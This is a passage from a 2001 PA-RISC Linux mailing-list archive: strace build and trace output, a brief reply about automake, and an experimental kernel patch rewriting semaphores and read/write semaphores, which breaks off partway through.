gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c process.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c bjm.c
bjm.c: In function `sys_query_module':
bjm.c:83: warning: int format, size_t arg (arg 4)
bjm.c:92: warning: int format, size_t arg (arg 2)
bjm.c:114: warning: int format, size_t arg (arg 2)
bjm.c:115: warning: int format, size_t arg (arg 2)
bjm.c:132: warning: int format, size_t arg (arg 2)
bjm.c:133: warning: int format, size_t arg (arg 2)
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c resource.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c signal.c
signal.c:867:2: warning: #warning NO sys_sigreturn DECODE FOR HPPA
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c sock.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c system.c
system.c: In function `sys_sysctl':
system.c:1737: warning: int format, size_t arg (arg 2)
system.c:1747: warning: int format, size_t arg (arg 3)
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c term.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c time.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c proc.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c stream.c
gcc  -o strace strace.o version.o syscall.o util.o desc.o file.o ipc.o io.o ioctl.o mem.o net.o process.o bjm.o resource.o signal.o sock.o system.o term.o time.o proc.o stream.o -lnsl 
richard@merlin:~/strace$ 
richard@merlin:~/strace$ 
richard@merlin:~/strace$ ./strace ./strace
execve("./strace", ["./strace"], [/* 22 vars */]) = 0
newuname({sys="Linux", node="merlin", ...}) = 0
brk(0)                                  = 0x34000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
newfstat(3, {st_mode=S_IFREG|0644, st_size=7103, ...}) = 0
mmap(NULL, 7103, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001c000
close(3)                                = 0
open("/lib/libnsl.so.1", O_RDONLY)      = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0J\244"..., 1024) = 1024
newfstat(3, {st_mode=S_IFREG|0644, st_size=92920, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001e000
mmap(NULL, 104028, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001f000
mprotect(0x40035000, 13916, PROT_NONE)  = 0
mmap(0x40035000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x15000) = 0x40035000
mmap(0x40037000, 5724, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40037000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2k\314"..., 1024) = 1024


etc. etc.

Richard





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions&
   9000/730 success report
Date: Fri, 9 Feb 2001 11:10:24 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102091108120.9776-100000@front.linuxcare.com.au>
References: <3A8320E7.CF0F64A3@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619855 15229 80.91.229.3 (22 Nov 2014 01:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:55 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 17:10:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCF044A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 17:10:50 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA05323;
	Fri, 9 Feb 2001 11:10:24 +1100
In-Reply-To: <3A8320E7.CF0F64A3@dot.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10215

On Thu, 8 Feb 2001, Christoph Plattner wrote:

> Again, I have problems with strace:
> -----------------------------------
> 
> (0) autoconf is ok
>     automake reports errors... (I think I need that !)

Don't run automake!  As you can see..
[snip]
> automake: no `Makefile.am' found or specified

Everything goes downhill from here.

Alan
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another semaphore rewrite
Date: Thu, 08 Feb 2001 18:03:02 -0700
Lines: 773
Approved: news@gmane.org
Message-ID: <E14R1xm-0000Cw-00@daiml>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619855 15232 80.91.229.3 (22 Nov 2014 01:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 18:03:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B8A04A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 18:03:04 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 2959F5D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 20:03:03 -0500 (EST)
Original-Received: from daiml (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 6A6645A979
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 17:58:36 -0700 (MST)
Original-Received: from willy by daiml with local (Exim 3.12 #1 (Debian))
	id 14R1xm-0000Cw-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 08 Feb 2001 18:03:02 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10216

Here's another attempt at semaphores.  This one actually boots on a
UP J5k, caveat emptor as always.  I'm rewriting the rwsems right now,
don't look at that bit.

Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.27
diff -u -p -r1.27 process.c
--- process.c	2001/01/24 23:59:51	1.27
+++ process.c	2001/02/09 00:07:55
@@ -36,8 +36,6 @@
 #include <asm/gsc.h>
 #include <asm/processor.h>
 
-spinlock_t semaphore_wake_lock = SPIN_LOCK_UNLOCKED;
-
 #ifdef __LP64__
 /* The 64-bit code should work equally well in 32-bit land but I didn't
  * want to take the time to confirm that.  -PB
Index: arch/parisc/kernel/semaphore.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/semaphore.c,v
retrieving revision 1.4
diff -u -p -r1.4 semaphore.c
--- semaphore.c	2001/01/24 23:59:51	1.4
+++ semaphore.c	2001/02/09 00:07:55
@@ -1,15 +1,9 @@
 /*
- * Just taken from alpha implementation.
- * This can't work well, perhaps.
+ * Semaphore implementation Copyright (c) 2001 Matthew Wilcox
  */
-/*
- *  Generic semaphore code. Buyer beware. Do your own
- * specific changes in <asm/semaphore-helper.h>
- */
 
 #include <linux/sched.h>
-#include <asm/semaphore-helper.h>
-#include <asm/atomic.h>	/* for xchg() definitions */
+#include <linux/spinlock.h>
 
 /*
  * Semaphores are implemented using a two-way counter:
@@ -23,9 +17,6 @@
  * needs to do something only if count was negative before
  * the increment operation.
  *
- * waking_non_zero() (from asm/semaphore.h) must execute
- * atomically.
- *
  * When __up() is called, the count was negative before
  * incrementing it, and we need to wake up somebody.
  *
@@ -43,198 +34,162 @@
  */
 void __up(struct semaphore *sem)
 {
-	wake_one_more(sem);
 	wake_up(&sem->wait);
 }
 
-/*
- * Perform the "down" function.  Return zero for semaphore acquired,
- * return negative for signalled out of the function.
- *
- * If called from __down, the return is ignored and the wait loop is
- * not interruptible.  This means that a task waiting on a semaphore
- * using "down()" cannot be killed until someone does an "up()" on
- * the semaphore.
- *
- * If called from __down_interruptible, the return value gets checked
- * upon return.  If the return value is negative then the task continues
- * with the negative value in the return register (it can be tested by
- * the caller).
- *
- * Either form may be used in conjunction with "up()".
- *
- */
-
+#define DOWN_HEAD						\
+	DECLARE_WAITQUEUE(wait, current);				\
+													\
+	/* Note that someone is waiting */				\
+	if (sem->count == 0)							\
+		sem->count = -1;							\
+													\
+	/* protected by the sentry still -- use unlocked version */	\
+	wait.flags = WQ_FLAG_EXCLUSIVE;					\
+	__add_wait_queue_tail(&sem->wait, &wait);		\
+lost_race:											\
+	spin_unlock_irq(&sem->sentry);					\
+
+#define DOWN_TAIL									\
+	spin_lock_irq(&sem->sentry);			\
+	if (sem->count < 0)					\
+		goto lost_race;						\
+	__remove_wait_queue(&sem->wait, &wait);	\
+	current->state = TASK_RUNNING;			\
+	if (!waitqueue_active(&sem->wait))		\
+		sem->count = 1;
 
-#define DOWN_HEAD(task_state)						\
-									\
-									\
-	current->state = (task_state);					\
-	add_wait_queue(&sem->wait, &wait);				\
-									\
-	/*								\
-	 * Ok, we're set up.  sem->count is known to be less than zero	\
-	 * so we must wait.						\
-	 *								\
-	 * We can let go the lock for purposes of waiting.		\
-	 * We re-acquire it after awaking so as to protect		\
-	 * all semaphore operations.					\
-	 *								\
-	 * If "up()" is called before we call waking_non_zero() then	\
-	 * we will catch it right away.  If it is called later then	\
-	 * we will have to go through a wakeup cycle to catch it.	\
-	 *								\
-	 * Multiple waiters contend for the semaphore lock to see	\
-	 * who gets to gate through and who has to wait some more.	\
-	 */								\
-	for (;;) {
-
-#define DOWN_TAIL(task_state)			\
-		current->state = (task_state);	\
-	}					\
-	current->state = TASK_RUNNING;		\
-	remove_wait_queue(&sem->wait, &wait);
-
 void __down(struct semaphore * sem)
 {
-	DECLARE_WAITQUEUE(wait, current);
+	DOWN_HEAD
 
-	DOWN_HEAD(TASK_UNINTERRUPTIBLE)
-	if (waking_non_zero(sem))
-		break;
-	schedule();
-	DOWN_TAIL(TASK_UNINTERRUPTIBLE)
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE);
+		/* we can _read_ this without the sentry */
+		if (sem->count >= 0)
+			break;
+ 		schedule();
+ 	}
+
+	DOWN_TAIL
 }
 
 int __down_interruptible(struct semaphore * sem)
 {
-	DECLARE_WAITQUEUE(wait, current);
 	int ret = 0;
-
-	DOWN_HEAD(TASK_INTERRUPTIBLE)
-
-	ret = waking_non_zero_interruptible(sem, current);
-	if (ret)
-	{
-		if (ret == 1)
-			/* ret != 0 only if we get interrupted -arca */
-			ret = 0;
-		break;
-	}
-	schedule();
-	DOWN_TAIL(TASK_INTERRUPTIBLE)
-	return ret;
-}
-
-int __down_trylock(struct semaphore * sem)
-{
-	return waking_non_zero_trylock(sem);
-}
-
-
-/* Wait for the lock to become unbiased.  Readers
- * are non-exclusive. =)
- */
-void down_read_failed(struct rw_semaphore *sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
 
-	__up_read(sem);	/* this takes care of granting the lock */
+	DOWN_HEAD
 
-	add_wait_queue(&sem->wait, &wait);
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE);
+		/* we can _read_ this without the sentry */
+		if (sem->count >= 0)
+			break;
 
-	while (atomic_read(&sem->count) < 0) {
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-		if (atomic_read(&sem->count) >= 0)
+		if (signal_pending(current)) {
+			ret = -EINTR;
 			break;
+		}
 		schedule();
 	}
-
-	remove_wait_queue(&sem->wait, &wait);
-	current->state = TASK_RUNNING;
-}
-
-void down_read_failed_biased(struct rw_semaphore *sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue(&sem->wait, &wait);	/* put ourselves at the head of the list */
+	DOWN_TAIL
 
-	for (;;) {
-		if (sem->read_bias_granted && xchg(&sem->read_bias_granted, 0))
-			break;
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-                if (!sem->read_bias_granted)
-			schedule();
-	}
-
-	remove_wait_queue(&sem->wait, &wait);
-	current->state = TASK_RUNNING;
+	return ret;
 }
 
+/* Read/write semaphores below this point */
 
-/* Wait for the lock to become unbiased. Since we're
- * a writer, we'll make ourselves exclusive.
- */
-void down_write_failed(struct rw_semaphore *sem)
+/* We must wait for a writer to up the semaphore */
+void down_read_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	__up_write(sem);	/* this takes care of granting the lock */
+	/* If we're the first waiter, indicate that we exist */
+	if ((sem->rw_count & RWSEM_MASK) == 0)
+		sem->rw_count |= RWSEM_READ;
 
-	add_wait_queue_exclusive(&sem->wait, &wait);
+	__add_wait_queue(&sem->readers, &wait);
+	spin_unlock(&sem->sentry);
 
-	while (atomic_read(&sem->count) < 0) {
+	while (sem->rw_count < 0) {
 		set_task_state(current, TASK_UNINTERRUPTIBLE);
-		if (atomic_read(&sem->count) >= 0)
-			break;	/* we must attempt to aquire or bias the lock */
+		if (sem->rw_count >= 0)
+			break;	/* We get the lock */
 		schedule();
 	}
 
-	remove_wait_queue(&sem->wait, &wait);
+	spin_lock(&sem->sentry);
+	__remove_wait_queue(&sem->readers, &wait);
 	current->state = TASK_RUNNING;
 }
 
-void down_write_failed_biased(struct rw_semaphore *sem)
+/* Wait for all previous readers to up the sempahore.
+ * Since we're a writer, we'll make ourselves exclusive.
+ */
+void down_write_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue_exclusive(&sem->write_bias_wait, &wait);	/* put ourselves at the end of the list */
+	/* If we're the first waiter, indicate that we exist */
+	if ((sem->rw_count & RWSEM_MASK) == 0)
+		sem->rw_count |= RWSEM_WRITE;
+
+	wait.flags = WQ_FLAG_EXCLUSIVE;
+	__add_wait_queue_tail(&sem->writers, &wait);
+	spin_unlock(&sem->sentry);
 
-	for (;;) {
-		if (sem->write_bias_granted && xchg(&sem->write_bias_granted, 0))
-			break;
+	while (sem->rw_count != 0) {
 		set_task_state(current, TASK_UNINTERRUPTIBLE);
-		if (!sem->write_bias_granted)
-			schedule();
+		if (sem->rw_count == 0)
+			break;	/* We get the lock */
+		schedule();
 	}
 
-	remove_wait_queue(&sem->write_bias_wait, &wait);
+	spin_lock(&sem->sentry);
+	__remove_wait_queue(&sem->writers, &wait);
 	current->state = TASK_RUNNING;
-
-	/* if the lock is currently unbiased, awaken the sleepers
-	 * FIXME: this wakes up the readers early in a bit of a
-	 * stampede -> bad!
-	 */
-	if (atomic_read(&sem->count) >= 0)
-		wake_up(&sem->wait);
 }
-
 
-/* Called when someone has done an up that transitioned from
- * negative to non-negative, meaning that the lock has been
- * granted to whomever owned the bias.
+/* up_read_wakeup gets called spuriously when a writer is waiting
+ * for the lock.  That's OK, this is slowpath now anyway.
  */
-void rwsem_wake_readers(struct rw_semaphore *sem)
+void up_read_wakeup(struct rw_semaphore *sem)
 {
-	if (xchg(&sem->read_bias_granted, 1))
-		BUG();
-	wake_up(&sem->wait);
-}
-
-void rwsem_wake_writer(struct rw_semaphore *sem)
-{
-	if (xchg(&sem->write_bias_granted, 1))
-		BUG();
-	wake_up(&sem->write_bias_wait);
+	/* Check to see if other readers need to up the semaphore */
+	if ((sem->rw_count &~ RWSEM_MASK) != 0)
+		return;
+
+	up_write_wakeup(sem);
+}
+
+void up_write_wakeup(struct rw_semaphore *sem)
+{
+	/* Figure out what state to go to next. */
+	if ((sem->rw_count & RWSEM_MASK) == RWSEM_WRITE) {
+		int more_writers = (sem->writers.task_list.next != sem->writers.task_list.prev);
+		int more_readers = list_empty(&sem->readers.task_list);
+		if (more_writers) {
+			if (more_readers) {
+				sem->rw_count = RWSEM_READ;
+			} else {
+				sem->rw_count = RWSEM_WRITE;
+			}
+		} else {
+			if (!more_readers) {
+				sem->rw_count = 0;
+			} else {
+				sem->rw_count = RWSEM_READ;
+			}
+		}
+		wake_up(&sem->writers);
+	} else {
+		int more_writers = list_empty(&sem->writers.task_list);
+		if (more_writers) {
+			sem->rw_count = RWSEM_WRITE;
+		} else {
+			sem->rw_count = 0;
+		}
+		wake_up(&sem->readers);
+	}
 }
Index: include/asm-parisc/semaphore.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/semaphore.h,v
retrieving revision 1.5
diff -u -p -r1.5 semaphore.h
--- semaphore.h	2000/08/11 23:40:13	1.5
+++ semaphore.h	2001/02/09 00:07:55
@@ -1,29 +1,28 @@
 #ifndef _ASM_PARISC_SEMAPHORE_H
 #define _ASM_PARISC_SEMAPHORE_H
 
-#include <linux/linkage.h>
-
 /*
  * SMP- and interrupt-safe semaphores.
  *
  * (C) Copyright 1996 Linus Torvalds
  *
- * SuperH verison by Niibe Yutaka
+ * PA-RISC version by Matthew Wilcox
  *
  */
 
-/* if you're going to use out-of-line slowpaths, use .section .lock.text,
- * not .text.lock or the -ffunction-sections monster will eat you alive
- */
-
 #include <linux/spinlock.h>
-
+#include <linux/wait.h>
 #include <asm/system.h>
-#include <asm/atomic.h>
 
+/*
+ * The `count' is initialised to the number of people who are allowed to
+ * take the lock.  (Normally we want a mutex, so this is `1').  if
+ * `count' is positive, the lock can be taken.  if it's 0, no-one is
+ * waiting on it.  if it's -1, at least one task is waiting.
+ */
 struct semaphore {
-	atomic_t count;
-	int waking;
+	spinlock_t	sentry;
+	int		count;
 	wait_queue_head_t wait;
 #if WAITQUEUE_DEBUG
 	long __magic;
@@ -38,7 +37,7 @@ struct semaphore {
 #endif
 
 #define __SEMAPHORE_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
 	__SEM_DEBUG_INIT(name) }
 
 #define __MUTEX_INITIALIZER(name) \
@@ -52,18 +51,7 @@ struct semaphore {
 
 extern inline void sema_init (struct semaphore *sem, int val)
 {
-/*
- *	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
- *
- * i'd rather use the more flexible initialization above, but sadly
- * GCC 2.7.2.3 emits a bogus warning. EGCS doesnt. Oh well.
- */
-	atomic_set(&sem->count, val);
-	sem->waking = 0;
-	init_waitqueue_head(&sem->wait);
-#if WAITQUEUE_DEBUG
-	sem->__magic = (long)&sem->__magic;
-#endif
+	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
 
 static inline void init_MUTEX (struct semaphore *sem)
@@ -76,17 +64,13 @@ static inline void init_MUTEX_LOCKED (st
 	sema_init(sem, 0);
 }
 
-asmlinkage void __down_failed(void /* special register calling convention */);
-asmlinkage int  __down_failed_interruptible(void  /* params in registers */);
-asmlinkage int  __down_failed_trylock(void  /* params in registers */);
-asmlinkage void __up_wakeup(void /* special register calling convention */);
-
 asmlinkage void __down(struct semaphore * sem);
 asmlinkage int  __down_interruptible(struct semaphore * sem);
-asmlinkage int  __down_trylock(struct semaphore * sem);
 asmlinkage void __up(struct semaphore * sem);
 
-extern spinlock_t semaphore_wake_lock;
+/* Sempahores can be `tried' from irq context.  So we have to disable
+ * interrupts while we're messing with the semaphore.  Sorry.
+ */
 
 extern __inline__ void down(struct semaphore * sem)
 {
@@ -94,8 +78,11 @@ extern __inline__ void down(struct semap
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
+	spin_lock_irq(&sem->sentry);
+	if (sem->count <= 0)
 		__down(sem);
+	sem->count--;
+	spin_unlock_irq(&sem->sentry);
 }
 
 extern __inline__ int down_interruptible(struct semaphore * sem)
@@ -105,21 +92,32 @@ extern __inline__ int down_interruptible
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
+	spin_lock_irq(&sem->sentry);
+	if (sem->count <= 0)
 		ret = __down_interruptible(sem);
+	if (ret == 0)
+		sem->count--;
+	spin_unlock_irq(&sem->sentry);
 	return ret;
 }
 
+/*
+ * down_trylock returns 0 on success, 1 if we failed to get the lock.
+ * May not sleep, but must preserve irq state
+ */
 extern __inline__ int down_trylock(struct semaphore * sem)
 {
-	int ret = 0;
+	int flags, count;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
-		ret = __down_trylock(sem);
-	return ret;
+	spin_lock_irqsave(&sem->sentry, flags);
+	count = sem->count - 1;
+	if (count >= 0)
+		sem->count = count;
+	spin_unlock_irqrestore(&sem->sentry, flags);
+	return (count < 0);
 }
 
 /*
@@ -128,11 +126,14 @@ extern __inline__ int down_trylock(struc
  */
 extern __inline__ void up(struct semaphore * sem)
 {
+	int flags;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
-	if (atomic_inc_return(&sem->count) <= 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (++sem->count <= 0)
 		__up(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 }
 
 /* rw mutexes (should that be mutices? =) -- throw rw
@@ -146,9 +147,9 @@ extern __inline__ void up(struct semapho
  * (in which case it goes to sleep).
  *
  * The value 0x01000000 supports up to 128 processors and
- * lots of processes.  BIAS must be chosen such that subl'ing
- * BIAS once per CPU will result in the long remaining
- * negative.
+ * lots of processes.  BIAS must be chosen such that subtracting
+ * BIAS three times will result in the value remaining negative,
+ * and it must be at least the number of processes in the system.
  *
  * In terms of fairness, this should result in the lock
  * flopping back and forth between readers and writers
@@ -156,146 +157,134 @@ extern __inline__ void up(struct semapho
  *
  *              -ben
  */
+/* NOTE: There is currently no provision for attempting to acquire
+ * rw_sems from interrupt context.  These routines will require more
+ * work if this is to be allowed.
+ */
+
 struct rw_semaphore {
-        atomic_t                count;
-        volatile unsigned char  write_bias_granted;
-        volatile unsigned char  read_bias_granted;
-        volatile unsigned char  pad1;
-        volatile unsigned char  pad2;
-        wait_queue_head_t       wait;
-        wait_queue_head_t       write_bias_wait;
-#if WAITQUEUE_DEBUG
-        long                    __magic;
-        atomic_t                readers;
-        atomic_t                writers;
+	spinlock_t		sentry;
+	signed int			rw_count;
+	wait_queue_head_t	readers;
+	wait_queue_head_t	writers;
+#if WAITQUEUE_DEBUG
+	long			__magic;
+	volatile int		readers;
+	volatile int		writers;
 #endif
 };
 
 #if WAITQUEUE_DEBUG
-#define __RWSEM_DEBUG_INIT      , ATOMIC_INIT(0), ATOMIC_INIT(0)
+#define __RWSEM_DEBUG_INIT	, 0, 0
 #else
-#define __RWSEM_DEBUG_INIT      /* */
+#define __RWSEM_DEBUG_INIT	/* */
 #endif
 
-#define RW_LOCK_BIAS 0x01000000
+#define RWSEM_MASK	0xC0000000
+#define RWSEM_READ	0x80000000
+#define RWSEM_WRITE	0xC0000000
+#define RWSEM_WRITER	-1
 
 #define __RWSEM_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, 0, 0, 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait), \
-        __WAIT_QUEUE_HEAD_INITIALIZER((name).write_bias_wait) \
-        __SEM_DEBUG_INIT(name) __RWSEM_DEBUG_INIT }
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).writers), \
+	__WAIT_QUEUE_HEAD_INITIALIZER((name).readers) \
+	__SEM_DEBUG_INIT(name) __RWSEM_DEBUG_INIT }
 
 #define __DECLARE_RWSEM_GENERIC(name,count) \
-        struct rw_semaphore name = __RWSEM_INITIALIZER(name,count)
+	struct rw_semaphore name = __RWSEM_INITIALIZER(name,count)
 
-#define DECLARE_RWSEM(name) __DECLARE_RWSEM_GENERIC(name,RW_LOCK_BIAS)
-#define DECLARE_RWSEM_READ_LOCKED(name) __DECLARE_RWSEM_GENERIC(name,RW_LOCK_BIAS-1)
-#define DECLARE_RWSEM_WRITE_LOCKED(name) __DECLARE_RWSEM_GENERIC(name,0)
+#define DECLARE_RWSEM(name) __DECLARE_RWSEM_GENERIC(name,0)
+#define DECLARE_RWSEM_READ_LOCKED(name) __DECLARE_RWSEM_GENERIC(name,1)
+#define DECLARE_RWSEM_WRITE_LOCKED(name) __DECLARE_RWSEM_GENERIC(name,RWSEM_WRITER)
 
 extern inline void init_rwsem(struct rw_semaphore *sem)
 {
-        atomic_set(&sem->count, RW_LOCK_BIAS);
-        sem->read_bias_granted = 0;
-        sem->write_bias_granted = 0;
-        init_waitqueue_head(&sem->wait);
-        init_waitqueue_head(&sem->write_bias_wait);
-#if WAITQUEUE_DEBUG
-        sem->__magic = (long)&sem->__magic;
-        atomic_set(&sem->readers, 0);
-        atomic_set(&sem->writers, 0);
-#endif
+	*sem = (struct rw_semaphore) __RWSEM_INITIALIZER(*sem, 0);
 }
 
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-extern struct rw_semaphore *__build_read_lock(struct rw_semaphore *sem, const char *what);
-extern struct rw_semaphore *__build_write_lock(struct rw_semaphore *sem, const char *what);
-#endif
-
 /* we use FASTCALL convention for the helpers */
-extern struct rw_semaphore *FASTCALL(__down_read_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__down_write_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__rwsem_wake(struct rw_semaphore *sem));
+extern void FASTCALL(down_read_failed(struct rw_semaphore *sem));
+extern void FASTCALL(down_write_failed(struct rw_semaphore *sem));
+extern void FASTCALL(up_read_wakeup(struct rw_semaphore *sem));
+extern void FASTCALL(up_write_wakeup(struct rw_semaphore *sem));
 
 extern inline void down_read(struct rw_semaphore *sem)
 {
+	spin_lock(&sem->sentry);
+
 #if WAITQUEUE_DEBUG
-        if (sem->__magic != (long)&sem->__magic)
-                BUG();
-#endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_read_lock(sem, "__down_read_failed");
+	if (sem->__magic != (long)&sem->__magic)
+		BUG();
 #endif
+
+	if (sem->rw_count < 0)
+		down_read_failed(sem);
+	sem->rw_count++;
+
 #if WAITQUEUE_DEBUG
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->writers))
-                BUG();
-        atomic_inc(&sem->readers);
+	if (sem->n_writers)
+		BUG();
+	sem->n_readers++;
 #endif
+
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void down_write(struct rw_semaphore *sem)
 {
+	spin_lock(&sem->sentry);
+
 #if WAITQUEUE_DEBUG
-        if (sem->__magic != (long)&sem->__magic)
-                BUG();
-#endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_write_lock(sem, "__down_write_failed");
+	if (sem->__magic != (long)&sem->__magic)
+		BUG();
 #endif
+
+	if (sem->rw_count != 0)
+		down_write_failed(sem);
+	sem->rw_count += RWSEM_WRITER;
+
 #if WAITQUEUE_DEBUG
-        if (atomic_read(&sem->writers))
-                BUG();
-        if (atomic_read(&sem->readers))
-                BUG();
-        if (sem->read_bias_granted)
-                BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        atomic_inc(&sem->writers);
+	if (sem->n_writers)
+		BUG();
+	if (sem->n_readers)
+		BUG();
+	sem->n_writers++;
 #endif
-}
 
-/* When a reader does a release, the only significant
- * case is when there was a writer waiting, and we've
- * bumped the count to 0: we must wake the writer up.
- */
-extern inline void __up_read(struct rw_semaphore *sem)
-{
-}
-
-/* releasing the writer is easy -- just release it and
- * wake up any sleepers.
- */
-extern inline void __up_write(struct rw_semaphore *sem)
-{
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_read(struct rw_semaphore *sem)
 {
+	spin_lock(&sem->sentry);
+
 #if WAITQUEUE_DEBUG
